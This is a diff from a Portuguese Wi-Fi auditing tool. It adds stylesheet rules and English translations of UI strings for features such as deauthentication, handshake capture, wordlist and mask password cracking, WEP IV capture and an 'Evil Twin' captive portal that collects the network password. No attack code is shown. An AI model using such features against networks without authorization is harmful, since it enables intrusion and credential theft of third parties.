.client-name { font-weight: 600; color: var(--text); max-width: 210px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
|
||||||
|
.client-sub { color: var(--text-3); font-size: 10.5px; max-width: 210px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
|
||||||
|
.empty-inline { text-align: center; padding: 46px 20px; color: var(--text-2); background: var(--surface-2); border-radius: 14px; }
|
||||||
|
.empty-inline strong { color: var(--text); display: block; margin-bottom: 4px; }
|
||||||
|
.empty-inline p { margin: 0; font-size: 13px; }
|
||||||
|
.auth-check { display: flex; align-items: center; gap: 8px; font-size: 12.5px; font-weight: 600; margin: 4px 0 14px; }
|
||||||
|
.auth-check input { width: 16px; height: 16px; accent-color: var(--accent); }
|
||||||
|
/* Colunas CSS em vez de grid: os cards de ataque têm alturas muito
|
||||||
|
diferentes entre si (Deauth/Handshake são enormes, PMF/WPS são curtos).
|
||||||
|
Num grid de 2 colunas comum, o par mais curto de uma linha deixava um
|
||||||
|
vão vazio enorme embaixo (a altura da linha é a do item mais alto, e
|
||||||
|
align-items:start não estica o curto pra preencher). Colunas fazem os
|
||||||
|
cards fluírem como alvenaria: cada um só ocupa a altura que precisa, o
|
||||||
|
próximo entra logo abaixo, sem buracos. */
|
||||||
|
.attack-grid { column-count: 2; column-gap: 12px; }
|
||||||
|
.attack-card { background: var(--surface-2); border: 1px solid var(--line); border-radius: 14px; padding: 14px 16px; min-width: 0; break-inside: avoid; margin: 0 0 12px; display: inline-block; width: 100%; }
|
||||||
|
.attack-deauth, .attack-wide { column-span: all; }
|
||||||
|
.attack-deauth .field-row { grid-template-columns: repeat(2, minmax(0, 1fr)); }
|
||||||
|
.attack-deauth .detail-actions { align-items: center; }
|
||||||
|
.attack-card h3 { font-size: 14px; margin-bottom: 5px; }
|
||||||
|
.attack-card .hint { margin: 6px 0 10px; }
|
||||||
|
.attack-card .btn { margin-top: 2px; }
|
||||||
|
.field-row { display: grid; grid-template-columns: 1fr 1.4fr; gap: 10px; }
|
||||||
|
.field { display: grid; gap: 5px; margin: 9px 0; }
|
||||||
|
.field-label { font-size: 11.5px; color: var(--text-2); font-weight: 600; }
|
||||||
|
.input { width: 100%; border: 1px solid transparent; border-radius: 10px; padding: 8px 11px; background: color-mix(in srgb, var(--text) 7%, transparent); color: var(--text); font: inherit; font-size: 12.5px; }
|
||||||
|
.input:focus { outline: 2px solid var(--signal); outline-offset: 1px; }
|
||||||
|
.hint { color: var(--text-3); font-size: 12px; margin: 0; line-height: 1.4; }
|
||||||
|
.hint.bad { color: var(--bad); }
|
||||||
|
.hint code { background: color-mix(in srgb, var(--text) 7%, transparent); padding: 1px 5px; border-radius: 5px; font-size: 11.5px; }
|
||||||
|
.hs-list { display: grid; gap: 6px; margin-bottom: 8px; }
|
||||||
|
.hs-item { display: flex; align-items: flex-start; justify-content: space-between; gap: 8px; background: var(--surface); border: 1px solid var(--line); border-radius: 10px; padding: 8px 10px; font-size: 12px; }
|
||||||
|
.hs-main { min-width: 0; display: grid; gap: 2px; }
|
||||||
|
.hs-meta { color: var(--text-3); font-size: 11px; }
|
||||||
|
.hs-flags { display: flex; flex-wrap: wrap; gap: 4px; justify-content: flex-end; }
|
||||||
|
.crack-box { margin-top: 10px; padding: 9px 11px; border-radius: 10px; background: var(--surface); border: 1px solid var(--line); font-size: 12px; display: flex; flex-wrap: wrap; align-items: center; gap: 7px; }
|
||||||
|
.crack-ok { border-color: color-mix(in srgb, var(--ok) 40%, transparent); }
|
||||||
|
.crack-box .mono { margin-right: 4px; }
|
||||||
|
.crack-head { display: flex; align-items: center; gap: 8px; width: 100%; color: var(--text-2); }
|
||||||
|
.crack-bar { width: 100%; height: 4px; border-radius: 999px; background: var(--line); overflow: hidden; }
|
||||||
|
.crack-bar i { display: block; width: 35%; height: 100%; border-radius: 999px; background: var(--accent); animation: crack-slide 1.1s ease-in-out infinite; }
|
||||||
|
@keyframes crack-slide { 0% { margin-left: -35%; } 100% { margin-left: 100%; } }
|
||||||
|
|
||||||
/* ------------------------------------------------------------ responsivo */
|
/* ------------------------------------------------------------ responsivo */
|
||||||
@media (max-width: 760px) {
|
@media (max-width: 760px) {
|
||||||
.app { grid-template-columns: 1fr; grid-template-rows: auto 1fr; }
|
.app { grid-template-columns: 1fr; grid-template-rows: auto 1fr; }
|
||||||
@@ -186,4 +343,119 @@ td.ssid em { color: var(--text-3); font-weight: 400; font-style: normal; }
|
|||||||
.brand { padding: 4px 10px; }
|
.brand { padding: 4px 10px; }
|
||||||
.side-title, .side-foot { display: none; }
|
.side-title, .side-foot { display: none; }
|
||||||
.list { display: flex; }
|
.list { display: flex; }
|
||||||
|
.result-tools { width: 100%; }
|
||||||
|
.result-tools .filter { flex: 1; width: auto; }
|
||||||
|
.net-table { min-width: 560px; }
|
||||||
|
.bssid-item { grid-template-columns: 1fr auto; }
|
||||||
|
.bssid-meta, .bssid-sig, .bssid-flags { grid-column: 1 / -1; }
|
||||||
|
.bssid-flags { justify-content: flex-start; }
|
||||||
|
.target-dlg { width: calc(100vw - 16px); max-height: 94vh; }
|
||||||
|
.target-head { padding: 16px 16px 10px; }
|
||||||
|
.tabs { padding: 0 10px; overflow-x: auto; }
|
||||||
|
.tab-panel { padding: 14px 14px 20px; }
|
||||||
|
.detail-grid { grid-template-columns: 1fr; }
|
||||||
|
.attack-grid { column-count: 1; }
|
||||||
|
.field-row { grid-template-columns: 1fr; }
|
||||||
|
.detail-card, .attack-card { padding: 12px; }
|
||||||
|
}
|
||||||
|
|
||||||
|
/* --------------------------------------------------- análise de canais */
|
||||||
|
.top-actions { display: flex; align-items: center; gap: 10px; }
|
||||||
|
.view-switch { display: inline-flex; padding: 2px; border-radius: 999px; background: color-mix(in srgb, var(--text) 7%, transparent); }
|
||||||
|
.view-switch button { border: 0; border-radius: 999px; padding: 5px 12px; font-size: 12px; font-weight: 600; color: var(--text-2); background: transparent; cursor: pointer; }
|
||||||
|
.view-switch button[aria-pressed="true"] { background: var(--surface); color: var(--text); box-shadow: 0 1px 3px rgba(0, 0, 0, .12); }
|
||||||
|
.alert-strip { display: flex; align-items: center; flex-wrap: wrap; gap: 6px; margin: 0 2px 10px; }
|
||||||
|
.alert-item { display: inline-flex; align-items: center; gap: 6px; border: 1px solid var(--line); background: var(--surface); border-radius: 999px; padding: 5px 11px; font-size: 12px; cursor: pointer; }
|
||||||
|
.alert-dot { width: 7px; height: 7px; border-radius: 50%; background: var(--warn); }
|
||||||
|
.alert-high .alert-dot { background: var(--bad); }
|
||||||
|
.alert-low .alert-dot { background: var(--text-3); }
|
||||||
|
.alert-title { max-width: 340px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
|
||||||
|
.alert-more { color: var(--text-3); font-size: 11.5px; padding: 0 4px; }
|
||||||
|
.channel-card { padding: 16px; }
|
||||||
|
.channel-head { display: flex; align-items: center; justify-content: space-between; gap: 12px; flex-wrap: wrap; margin-bottom: 8px; }
|
||||||
|
.band-switch { display: inline-flex; gap: 4px; }
|
||||||
|
.band-switch button { border: 1px solid transparent; background: color-mix(in srgb, var(--text) 6%, transparent); color: var(--text-2); border-radius: 999px; padding: 5px 12px; font-size: 12px; font-weight: 600; cursor: pointer; }
|
||||||
|
.band-switch button[aria-pressed="true"] { background: var(--signal-soft); color: var(--signal); border-color: color-mix(in srgb, var(--signal) 35%, transparent); }
|
||||||
|
.sp-legend { display: flex; flex-wrap: wrap; gap: 10px; color: var(--text-3); font-size: 11px; }
|
||||||
|
.sp-legend span { display: inline-flex; align-items: center; gap: 5px; }
|
||||||
|
.sp-legend i { width: 9px; height: 9px; border-radius: 2px; display: inline-block; }
|
||||||
|
.spectrum { width: 100%; height: auto; display: block; background: color-mix(in srgb, var(--text) 3%, transparent); border-radius: 12px; }
|
||||||
|
.sp-grid { stroke: var(--line); stroke-width: 1; }
|
||||||
|
.sp-axis { stroke: color-mix(in srgb, var(--text) 22%, transparent); stroke-width: 1; }
|
||||||
|
.sp-db, .sp-chan { fill: var(--text-3); font-size: 9px; font-family: var(--mono); }
|
||||||
|
.sp-name { fill: var(--text-2); font-size: 9px; font-weight: 600; }
|
||||||
|
.sp-lobe path { transition: fill-opacity .15s; }
|
||||||
|
.sp-lobe:hover path { fill-opacity: .38; }
|
||||||
|
.channel-grid { display: grid; grid-template-columns: 190px 1fr; gap: 18px; margin-top: 14px; }
|
||||||
|
.channel-grid h3 { font-size: 12px; color: var(--text-2); margin-bottom: 8px; }
|
||||||
|
.chan-best-num { font-size: 44px; font-weight: 700; line-height: 1; color: var(--signal); margin: 0 0 6px; }
|
||||||
|
.chan-list { display: grid; gap: 6px; }
|
||||||
|
.chan-list h3 { margin: 0 0 2px; }
|
||||||
|
.chan-row { display: grid; grid-template-columns: 46px 1fr 48px 128px; align-items: center; gap: 8px; font-size: 12px; }
|
||||||
|
.chan-row .chan-n { font-weight: 600; display: inline-flex; align-items: center; gap: 4px; }
|
||||||
|
.chan-bar { height: 7px; border-radius: 999px; background: var(--line); overflow: hidden; }
|
||||||
|
.chan-bar i { display: block; height: 100%; border-radius: 999px; background: var(--ok); }
|
||||||
|
.chan-bar i.diff-mid { background: var(--warn); }
|
||||||
|
.chan-bar i.diff-high { background: var(--bad); }
|
||||||
|
.chan-score { font-family: var(--mono); font-size: 11px; color: var(--text-2); text-align: right; }
|
||||||
|
.chan-aps { color: var(--text-3); font-size: 11px; white-space: nowrap; }
|
||||||
|
.chan-best .chan-n, .chan-best .chan-aps { color: var(--signal); }
|
||||||
|
|
||||||
|
/* ------------------------------------------------- saúde do espectro (SMART) */
|
||||||
|
.chan-tiles { display: grid; grid-template-columns: repeat(auto-fill, minmax(132px, 1fr)); gap: 10px; margin: 2px 0 16px; }
|
||||||
|
.chan-tile { background: var(--surface-2); border-radius: 14px; padding: 12px 14px; display: flex; flex-direction: column; gap: 2px; box-shadow: 0 0 0 1px var(--line); }
|
||||||
|
.chan-tile small { color: var(--text-3); font-size: 12px; }
|
||||||
|
.chan-tile b { font-size: 18px; font-variant-numeric: tabular-nums; }
|
||||||
|
.chan-tile.status.ok { background: var(--ok-soft); } .chan-tile.status.ok b { color: var(--ok); }
|
||||||
|
.chan-tile.status.warn { background: var(--warn-soft); } .chan-tile.status.warn b { color: var(--warn); }
|
||||||
|
.chan-tile.status.bad { background: var(--bad-soft); } .chan-tile.status.bad b { color: var(--bad); }
|
||||||
|
.chan-tile b span { font-weight: 500; opacity: .8; font-size: 13px; margin-left: 4px; }
|
||||||
|
|
||||||
|
.chan-dot { display: inline-block; width: 9px; height: 9px; border-radius: 50%; background: var(--ok); margin-right: 5px; flex: none; }
|
||||||
|
.chan-dot.warn { background: var(--warn); }
|
||||||
|
.chan-dot.bad { background: var(--bad); }
|
||||||
|
|
||||||
|
.chan-attrs { margin-top: 4px; }
|
||||||
|
.chan-attrs summary { cursor: pointer; font-size: 12.5px; font-weight: 600; color: var(--text-2); padding: 6px 0; list-style: none; }
|
||||||
|
.chan-attrs summary::-webkit-details-marker { display: none; }
|
||||||
|
.chan-attrs summary::before { content: '▸ '; display: inline-block; width: 12px; }
|
||||||
|
.chan-attrs[open] summary::before { content: '▾ '; }
|
||||||
|
.chan-table .dim { color: var(--text-3); font-size: 11.5px; }
|
||||||
|
.chan-table tr.chan-best-row td { color: var(--signal); font-weight: 600; }
|
||||||
|
.mini-tag { font-size: 8.5px; padding: 1px 4px; border-radius: 4px; background: var(--warn-soft); color: var(--warn); }
|
||||||
|
|
||||||
|
/* ------------------------------------------------ clientes e linha do tempo */
|
||||||
|
.spark { display: inline-block; width: 62px; height: 16px; vertical-align: middle; margin-left: 6px; }
|
||||||
|
.spark path { fill: none; stroke: var(--signal); stroke-width: 1.4; }
|
||||||
|
.spark-big { display: block; width: 100%; height: 70px; margin: 10px 0 0; }
|
||||||
|
.timeline-card { margin-top: 12px; }
|
||||||
|
.timeline-head { display: flex; align-items: center; justify-content: space-between; gap: 10px; margin-bottom: 6px; }
|
||||||
|
.timeline { list-style: none; padding: 0; margin: 8px 0; display: grid; gap: 5px; max-height: 260px; overflow: auto; }
|
||||||
|
.timeline li { display: grid; grid-template-columns: 84px 112px 1fr; align-items: baseline; gap: 8px; font-size: 12px; border-bottom: 1px solid var(--line); padding: 5px 2px; }
|
||||||
|
.timeline li > .mono:first-child { white-space: nowrap; }
|
||||||
|
.tl-kind { font-size: 10.5px; font-weight: 700; text-transform: uppercase; letter-spacing: .03em; color: var(--text-3); }
|
||||||
|
.tl-deauth { color: var(--bad); }
|
||||||
|
.tl-associate { color: var(--ok); }
|
||||||
|
.tl-probe { color: var(--signal); }
|
||||||
|
.tl-detail { color: var(--text-3); overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------- WPS e relatório */
|
||||||
|
.term { margin: 10px 0 0; padding: 10px 12px; border-radius: 10px; background: color-mix(in srgb, var(--text) 6%, transparent); color: var(--text-2); font: 11.5px/1.5 var(--mono); white-space: pre-wrap; max-height: 180px; overflow: auto; }
|
||||||
|
.report-dlg { width: min(1060px, 96vw); height: 92vh; max-height: 92vh; padding: 0; display: flex; flex-direction: column; overflow: hidden; }
|
||||||
|
.report-dlg:not([open]) { display: none; }
|
||||||
|
.report-head { display: flex; align-items: flex-start; justify-content: space-between; gap: 14px; padding: 16px 18px 12px; border-bottom: 1px solid var(--line); flex-wrap: wrap; }
|
||||||
|
.report-head h2 { font-size: 17px; margin: 0 0 2px; }
|
||||||
|
.report-tools { display: flex; align-items: center; gap: 6px; flex-wrap: wrap; }
|
||||||
|
.report-tools .mono { font-size: 11.5px; color: var(--text-2); min-width: 38px; text-align: center; }
|
||||||
|
.report-view { flex: 1; overflow: auto; background: color-mix(in srgb, var(--text) 8%, var(--bg)); padding: 16px; }
|
||||||
|
.report-canvas { margin: 0 auto; transform-origin: top center; background: #fff; box-shadow: 0 6px 30px rgba(0, 0, 0, .18); }
|
||||||
|
.report-canvas iframe { border: 0; display: block; background: #fff; }
|
||||||
|
|
||||||
|
@media (max-width: 760px) {
|
||||||
|
.top-actions { gap: 6px; }
|
||||||
|
.channel-grid { grid-template-columns: 1fr; }
|
||||||
|
.chan-row { grid-template-columns: 42px 1fr 44px; }
|
||||||
|
.chan-aps { grid-column: 2 / -1; }
|
||||||
|
.report-dlg { width: 100vw; height: 100vh; max-height: 100vh; border-radius: 0; }
|
||||||
|
.report-view { padding: 8px; }
|
||||||
}
|
}
|
||||||
+2217
-48
File diff suppressed because it is too large.
Load diff
+468
-1
@@ -2,8 +2,12 @@
|
|||||||
export const EN = {
|
export const EN = {
|
||||||
// index.html / sidebar
|
// index.html / sidebar
|
||||||
'auditoria de Wi-Fi': 'Wi-Fi auditing',
|
'auditoria de Wi-Fi': 'Wi-Fi auditing',
|
||||||
|
'Interface': 'Interface',
|
||||||
|
'Interface Wi-Fi': 'Wi-Fi interface',
|
||||||
'Interfaces': 'Interfaces',
|
'Interfaces': 'Interfaces',
|
||||||
'nenhuma interface Wi-Fi encontrada': 'no Wi-Fi interface found',
|
'nenhuma interface Wi-Fi encontrada': 'no Wi-Fi interface found',
|
||||||
|
'APs, clientes e ataques': 'APs, clients and attacks',
|
||||||
|
'espectro e saúde': 'spectrum and health',
|
||||||
'checar atualização': 'check for update',
|
'checar atualização': 'check for update',
|
||||||
'checando…': 'checking…',
|
'checando…': 'checking…',
|
||||||
'atualizar para {n}': 'update to {n}',
|
'atualizar para {n}': 'update to {n}',
|
||||||
@@ -30,7 +34,12 @@ export const EN = {
|
|||||||
'parar captura': 'stop capture',
|
'parar captura': 'stop capture',
|
||||||
|
|
||||||
// resultados
|
// resultados
|
||||||
|
'Redes': 'Networks',
|
||||||
'Redes vistas': 'Networks seen',
|
'Redes vistas': 'Networks seen',
|
||||||
|
'Linha do tempo': 'Timeline',
|
||||||
|
'Linha do tempo ·': 'Timeline ·',
|
||||||
|
'fechar': 'close',
|
||||||
|
'motivo {n}': 'reason {n}',
|
||||||
'Pronto pra capturar': 'Ready to capture',
|
'Pronto pra capturar': 'Ready to capture',
|
||||||
'Ative o modo monitor e inicie a captura pra ver as redes no ar.': 'Enable monitor mode and start capturing to see the networks on the air.',
|
'Ative o modo monitor e inicie a captura pra ver as redes no ar.': 'Enable monitor mode and start capturing to see the networks on the air.',
|
||||||
'Nenhuma interface Wi-Fi': 'No Wi-Fi interface',
|
'Nenhuma interface Wi-Fi': 'No Wi-Fi interface',
|
||||||
@@ -41,16 +50,44 @@ export const EN = {
|
|||||||
'oculta': 'hidden',
|
'oculta': 'hidden',
|
||||||
'Rede': 'Network',
|
'Rede': 'Network',
|
||||||
'Canal': 'Channel',
|
'Canal': 'Channel',
|
||||||
|
'Canais': 'Channels',
|
||||||
|
'Banda': 'Band',
|
||||||
|
'Bandas': 'Bands',
|
||||||
|
'Nome': 'Name',
|
||||||
'Sinal': 'Signal',
|
'Sinal': 'Signal',
|
||||||
'Segurança': 'Security',
|
'Segurança': 'Security',
|
||||||
'Clientes': 'Clients',
|
'Clientes': 'Clients',
|
||||||
|
'filtrar por SSID ou BSSID': 'filter by SSID or BSSID',
|
||||||
|
'Filtrar redes': 'Filter networks',
|
||||||
|
'Ordenar por': 'Sort by',
|
||||||
|
'expandir': 'expand',
|
||||||
|
'recolher': 'collapse',
|
||||||
|
'PMF parcial': 'partial PMF',
|
||||||
|
'canal {n}': 'channel {n}',
|
||||||
|
'canal {n} · {n}': 'channel {n} · {n}',
|
||||||
|
'1 cliente': '1 client',
|
||||||
|
'{n} clientes': '{n} clients',
|
||||||
|
'{n} de {n} redes': '{n} of {n} networks',
|
||||||
|
'{n} redes · {n} BSSIDs · {n} clientes': '{n} networks · {n} BSSIDs · {n} clients',
|
||||||
|
'Nenhuma rede corresponde ao filtro': 'No network matches the filter',
|
||||||
|
'Ajuste a busca ou limpe o campo de filtro.': 'Adjust the search or clear the filter.',
|
||||||
|
|
||||||
// erros de UI
|
// erros de UI
|
||||||
'Não foi possível trocar o modo:': 'Could not change the mode:',
|
'Não foi possível trocar o modo:': 'Could not change the mode:',
|
||||||
|
'Não foi possível iniciar a captura:': 'Could not start the capture:',
|
||||||
|
'Não foi possível retomar a captura: {n}': 'Could not resume the capture: {n}',
|
||||||
|
'Retomando a captura e localizando a rede…': 'Resuming the capture and locating the network…',
|
||||||
|
'A rede não reapareceu na varredura a tempo. Tente de novo.': 'The network did not reappear in the scan in time. Try again.',
|
||||||
|
'A captura parou:': 'The capture stopped:',
|
||||||
'erro desconhecido': 'unknown error',
|
'erro desconhecido': 'unknown error',
|
||||||
'rota desconhecida': 'unknown route',
|
'rota desconhecida': 'unknown route',
|
||||||
|
|
||||||
// seletor de idioma
|
// seletor de idioma / configurações
|
||||||
|
'Configurações': 'Settings',
|
||||||
|
'Tema': 'Theme',
|
||||||
|
'Claro': 'Light',
|
||||||
|
'Escuro': 'Dark',
|
||||||
|
'Fechar': 'Close',
|
||||||
'Idioma': 'Language',
|
'Idioma': 'Language',
|
||||||
'Auto': 'Auto',
|
'Auto': 'Auto',
|
||||||
'Português': 'Portuguese',
|
'Português': 'Portuguese',
|
||||||
@@ -95,4 +132,434 @@ export const EN = {
|
|||||||
'nenhum handshake quebrável para os filtros informados': 'no crackable handshake for the given filters',
|
'nenhum handshake quebrável para os filtros informados': 'no crackable handshake for the given filters',
|
||||||
'quantidade de quadros deve ficar entre 1 e 256': 'frame count must be between 1 and 256',
|
'quantidade de quadros deve ficar entre 1 e 256': 'frame count must be between 1 and 256',
|
||||||
'MAC inválido: {n}': 'invalid MAC: {n}',
|
'MAC inválido: {n}': 'invalid MAC: {n}',
|
||||||
|
|
||||||
|
// detalhes do alvo e ataques
|
||||||
|
'não': 'no',
|
||||||
|
'não anunciado': 'not advertised',
|
||||||
|
'quebrável': 'crackable',
|
||||||
|
'Nenhum handshake capturado para este BSSID.': 'No handshake captured for this BSSID.',
|
||||||
|
'Rede aberta.': 'Open network.',
|
||||||
|
'O tráfego não é cifrado pelo Wi-Fi; qualquer cliente pode se associar.': 'Traffic is not encrypted over Wi-Fi; any client can associate.',
|
||||||
|
'A cifra é quebrável; capture IVs na aba Ataques.': 'The cipher is breakable; capture IVs in the Attacks tab.',
|
||||||
|
'O AP anuncia configuração travada.': 'The AP advertises configuration locked.',
|
||||||
|
'PIN pode estar acessível; verifique o lock.': 'The PIN may be accessible; check the lock.',
|
||||||
|
'Desautenticação e captura de handshake podem ser ignoradas pelos clientes.': 'Deauthentication and handshake capture may be ignored by clients.',
|
||||||
|
'Sem PMF obrigatório.': 'No mandatory PMF.',
|
||||||
|
'Desautenticação tende a funcionar e facilita a captura do handshake.': 'Deauthentication tends to work and makes handshake capture easier.',
|
||||||
|
'País': 'Country',
|
||||||
|
'Último visto': 'Last seen',
|
||||||
|
'Primeiro visto': 'First seen',
|
||||||
|
'Frequência': 'Frequency',
|
||||||
|
'Largura': 'Width',
|
||||||
|
'Padrão': 'Standard',
|
||||||
|
'Sinal máximo': 'Max signal',
|
||||||
|
'Intervalo de beacon': 'Beacon interval',
|
||||||
|
'Quadros de dados': 'Data frames',
|
||||||
|
'Versão WPS': 'WPS version',
|
||||||
|
'Vistos na rede': 'Seen on network',
|
||||||
|
'Quebráveis': 'Crackable',
|
||||||
|
'Número do modelo': 'Model number',
|
||||||
|
'Nome do dispositivo': 'Device name',
|
||||||
|
'Serial': 'Serial',
|
||||||
|
'Identificação': 'Identity',
|
||||||
|
'Rádio': 'Radio',
|
||||||
|
'sim': 'yes',
|
||||||
|
'Nome exibido': 'Display name',
|
||||||
|
'Hostname': 'Hostname',
|
||||||
|
'Sistema': 'OS',
|
||||||
|
'IP': 'IP',
|
||||||
|
'Associado a': 'Associated to',
|
||||||
|
'Atual': 'Current',
|
||||||
|
'Máximo': 'Maximum',
|
||||||
|
'Sem amostras de sinal suficientes ainda.': 'Not enough signal samples yet.',
|
||||||
|
'Linha do tempo · eventos mais recentes primeiro.': 'Timeline · most recent events first.',
|
||||||
|
'Cliente · {n}': 'Client · {n}',
|
||||||
|
'A captura parou sozinha:': 'The capture stopped on its own:',
|
||||||
|
'A placa não está capturando nada': 'The adapter is not capturing anything',
|
||||||
|
'Nenhum quadro recebido depois de alguns segundos saltando canais — esta placa pode aceitar ativar o modo monitor sem conseguir capturar de verdade (comum em Wi-Fi interna de notebook). Tente um adaptador USB dedicado a modo monitor/injeção.':
|
||||||
|
'No frame received after several seconds of channel hopping — this adapter may accept turning monitor mode on without actually being able to capture (common with a laptop\'s built-in Wi-Fi). Try a USB adapter dedicated to monitor mode/injection.',
|
||||||
|
'motivo desconhecido — confira se o adaptador ainda está conectado.':
|
||||||
|
'unknown reason — check whether the adapter is still connected.',
|
||||||
|
'Clientes e handshake': 'Clients and handshake',
|
||||||
|
'Nenhum cliente visto.': 'No client seen.',
|
||||||
|
'Associe ou gere tráfego na rede para que o Sabiá identifique estações.': 'Associate or generate traffic on the network so Sabiá can identify stations.',
|
||||||
|
'senha encontrada': 'password found',
|
||||||
|
'concluído': 'done',
|
||||||
|
'quebrando': 'cracking',
|
||||||
|
'senhas testadas': 'passwords tried',
|
||||||
|
'{n} senhas testadas': '{n} passwords tried',
|
||||||
|
'{n} tentativas · {n} ms': '{n} attempts · {n} ms',
|
||||||
|
'Senha não encontrada no dicionário ({n} tentativas).': 'Password not found in the wordlist ({n} attempts).',
|
||||||
|
'· quebrável': '· crackable',
|
||||||
|
'não especificado': 'unspecified',
|
||||||
|
'autenticação expirada': 'authentication expired',
|
||||||
|
'saindo': 'leaving',
|
||||||
|
'inativo': 'inactive',
|
||||||
|
'AP sem recursos': 'AP out of resources',
|
||||||
|
'classe 2': 'class 2',
|
||||||
|
'classe 3': 'class 3',
|
||||||
|
'{n} handshake(s) visto(s); {n} quebrável(is).': '{n} handshake(s) seen; {n} crackable.',
|
||||||
|
'Nenhum handshake capturado ainda. Desautentique um cliente para estimular a reassociação.': 'No handshake captured yet. Deauthenticate a client to trigger reassociation.',
|
||||||
|
'Captura WEP': 'WEP capture',
|
||||||
|
'WEP não tem handshake: o ataque coleta IVs em um .pcap. Reinicie a captura gravando o arquivo e gere tráfego com desautenticação. A captura atual é reiniciada e a tabela começa vazia.': 'WEP has no handshake: the attack collects IVs into a .pcap. Restart the capture writing the file and generate traffic with deauthentication. The current capture is restarted and the table starts empty.',
|
||||||
|
'Arquivo pcap': 'pcap file',
|
||||||
|
'Reiniciar captura com pcap': 'Restart capture to pcap',
|
||||||
|
'Gerar tráfego': 'Generate traffic',
|
||||||
|
'Copiar comando': 'Copy command',
|
||||||
|
'Esta rede não usa WEP.': 'This network does not use WEP.',
|
||||||
|
'Somente em redes próprias ou com autorização escrita.': 'Only on your own networks or with written authorization.',
|
||||||
|
'Cada ação fica registrada na trilha de auditoria local, com interface, BSSID e estação.': 'Every action is logged in the local audit trail with interface, BSSID and station.',
|
||||||
|
'Tenho autorização para testar esta rede': 'I have authorization to test this network',
|
||||||
|
'Desautenticação': 'Deauthentication',
|
||||||
|
'Expulsa uma estação (ou todas) para forçar reassociação e captura de handshake.': 'Kicks a station (or all) to force reassociation and handshake capture.',
|
||||||
|
'Enviar desautenticação': 'Send deauthentication',
|
||||||
|
'Forçar handshake': 'Force handshake',
|
||||||
|
'Dicionário': 'Wordlist',
|
||||||
|
'Rede oculta': 'Hidden network',
|
||||||
|
'job não encontrado': 'job not found',
|
||||||
|
'{n} quadro(s) enviados para {n} (motivo {n}).': '{n} frame(s) sent to {n} (reason {n}).',
|
||||||
|
'Selecione um handshake.': 'Select a handshake.',
|
||||||
|
'Informe o dicionário.': 'Enter the wordlist.',
|
||||||
|
'Informe o caminho do .pcap.': 'Enter the .pcap path.',
|
||||||
|
'Força bruta por máscara — sem dicionário, testa toda combinação do padrão.':
|
||||||
|
'Mask brute force — no wordlist, tests every combination of the pattern.',
|
||||||
|
'dígito,': 'digit,',
|
||||||
|
'minúscula,': 'lowercase,',
|
||||||
|
'maiúscula,': 'uppercase,',
|
||||||
|
'símbolo,': 'symbol,',
|
||||||
|
'qualquer um; o resto é literal.': 'any of those; the rest is literal.',
|
||||||
|
'Máscara': 'Mask',
|
||||||
|
'Força bruta por máscara': 'Mask brute force',
|
||||||
|
'Informe uma máscara (ex.: ?d?d?d?d?d?d?d?d).': 'Enter a mask (e.g. ?d?d?d?d?d?d?d?d).',
|
||||||
|
'job não iniciado': 'job not started',
|
||||||
|
'Captura gravando em {n}. Gere tráfego e aguarde IVs suficientes.': 'Capture writing to {n}. Generate traffic and wait for enough IVs.',
|
||||||
|
'Visão geral': 'Overview',
|
||||||
|
'Ver detalhes': 'View details',
|
||||||
|
'Ver clientes': 'View clients',
|
||||||
|
'Abrir ataques': 'Open attacks',
|
||||||
|
'Todos (broadcast)': 'All (broadcast)',
|
||||||
|
'associado': 'associated',
|
||||||
|
'sondando': 'probing',
|
||||||
|
'visto': 'seen',
|
||||||
|
'Alvo': 'Target',
|
||||||
|
'Handshake': 'Handshake',
|
||||||
|
'Salvar pcap em': 'Save pcap to',
|
||||||
|
'Exportar selecionado': 'Export selected',
|
||||||
|
'Exportar todos': 'Export all',
|
||||||
|
'Quebrar senha': 'Crack password',
|
||||||
|
'completo': 'complete',
|
||||||
|
'Ataques': 'Attacks',
|
||||||
|
'Cliente alvo': 'Target client',
|
||||||
|
'Ações': 'Actions',
|
||||||
|
'Atacar': 'Attack',
|
||||||
|
'Cliente não associado a este AP.': 'Client not associated with this AP.',
|
||||||
|
'Somente o cliente selecionado será desautenticado.': 'Only the selected client will be deauthenticated.',
|
||||||
|
'Todos os clientes associados (broadcast).': 'All associated clients (broadcast).',
|
||||||
|
'Fabricante': 'Manufacturer',
|
||||||
|
'Modelo': 'Model',
|
||||||
|
'Oculta': 'Hidden',
|
||||||
|
'Modo': 'Mode',
|
||||||
|
'Cifra': 'Cipher',
|
||||||
|
'Privacidade': 'Privacy',
|
||||||
|
'WPS travado': 'WPS locked',
|
||||||
|
'Associados': 'Associated',
|
||||||
|
'Senha': 'Password',
|
||||||
|
'Quadro': 'Frame',
|
||||||
|
'Quadros': 'Frames',
|
||||||
|
'ambas': 'both',
|
||||||
|
'Tentativas': 'Attempts',
|
||||||
|
'Testar PMF': 'Test PMF',
|
||||||
|
'em execução': 'running',
|
||||||
|
'iniciando': 'starting',
|
||||||
|
'erro': 'error',
|
||||||
|
'parado': 'stopped',
|
||||||
|
'Status: {n}': 'Status: {n}',
|
||||||
|
'tamanho inválido': 'invalid length',
|
||||||
|
'· última: {n}': '· last: {n}',
|
||||||
|
'Clona o AP (aberto) numa segunda interface e sobe um portal pedindo a senha de novo. A senha só é aceita se bater de verdade com o handshake já capturado — não é um "aceita qualquer coisa".':
|
||||||
|
'Clones the AP (open) on a second interface and shows a portal asking for the password again. The password is only accepted if it truly matches the already-captured handshake — it is not an "accept anything" page.',
|
||||||
|
'Exige um handshake quebrável já capturado deste AP (aba Handshake). Precisa de':
|
||||||
|
'Requires a crackable handshake already captured for this AP (Handshake tab). Needs',
|
||||||
|
'instalado e de uma': 'installed and a',
|
||||||
|
'interface Wi-Fi em modo AP, diferente da que está capturando.':
|
||||||
|
'Wi-Fi interface in AP mode, different from the one capturing.',
|
||||||
|
'Iniciar Evil Twin': 'Start Evil Twin',
|
||||||
|
'Informe a interface do clone (uma segunda placa).':
|
||||||
|
'Enter the clone interface (a second adapter).',
|
||||||
|
'a interface do clone precisa ser diferente da que está capturando':
|
||||||
|
'the clone interface must be different from the one capturing',
|
||||||
|
'esse BSSID ainda não apareceu nesta sessão de captura':
|
||||||
|
'that BSSID has not appeared in this capture session yet',
|
||||||
|
'rede oculta: sem SSID não dá pra clonar': 'hidden network: no SSID, cannot clone',
|
||||||
|
'handshake sem dados suficientes pra conferir senha':
|
||||||
|
